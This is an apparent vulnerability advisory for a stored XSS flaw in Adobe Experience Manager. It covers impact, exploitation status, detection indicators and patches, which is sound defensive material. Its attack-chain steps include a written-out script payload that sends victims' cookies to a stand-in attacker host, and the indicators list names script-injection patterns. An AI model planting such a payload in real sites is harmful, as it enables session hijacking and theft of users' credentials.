CVE-2025-47005: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47005 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a basic authenticated account (Adobe Advisory, Feedly).

Successful exploitation can result in session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and exposure of sensitive information rendered in the victim's browser context. Because the injected script executes within the AEM application's origin, it can access cookies, local storage, and other session data accessible to that origin. The scope is marked as "Changed," meaning the impact extends beyond the attacker's own session to affect other users of the AEM instance (Adobe Advisory, Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly, Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0 using web fingerprinting tools or Shodan.
2. Obtain low-privileged access: Authenticate to the AEM instance with any valid low-privileged user account (e.g., a content author or contributor account).
3. Locate vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS — such as a text input, rich text editor, or metadata field — that does not properly sanitize user input.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent encoded variant) into the vulnerable field and save/publish the content.
5. Wait for victim interaction: The payload is stored server-side. When a victim (e.g., an administrator or another user) browses to the page containing the injected field, the malicious script executes in their browser.
6. Harvest results: The attacker receives stolen session tokens, credentials, or other sensitive data exfiltrated via the injected script, enabling session hijacking or further unauthorized actions (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, or component-specific paths) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) in form field parameters.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; DNS queries to attacker-controlled domains originating from end-user workstations.
• File System / Repository: Unexpected JavaScript content stored within AEM's JCR repository nodes (e.g., in jcr:content properties of pages or assets) that was not placed there by authorized authors.
• Browser: Unexpected redirects, pop-ups, or network requests observed in browser developer tools when visiting specific AEM pages (Feedly).

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.23.0 or later, and update AEM Cloud Service to 2025.5.0 or later. As interim mitigations, administrators should implement a strict Content Security Policy (CSP) to restrict inline script execution, enforce rigorous input validation and output encoding for all form fields, and limit content authoring privileges to trusted users only. Regularly auditing stored content for unexpected script tags is also recommended (Adobe Advisory, Feedly).

The vulnerability was noted by CIS (Center for Internet Security) in a multi-vulnerability advisory covering Adobe products released on June 10, 2025, and was tracked by Tenable's plugin pipeline and VulDB shortly after disclosure. No significant independent researcher commentary or notable social media discussion has been identified beyond standard aggregator coverage (CIS Advisory, Feedly).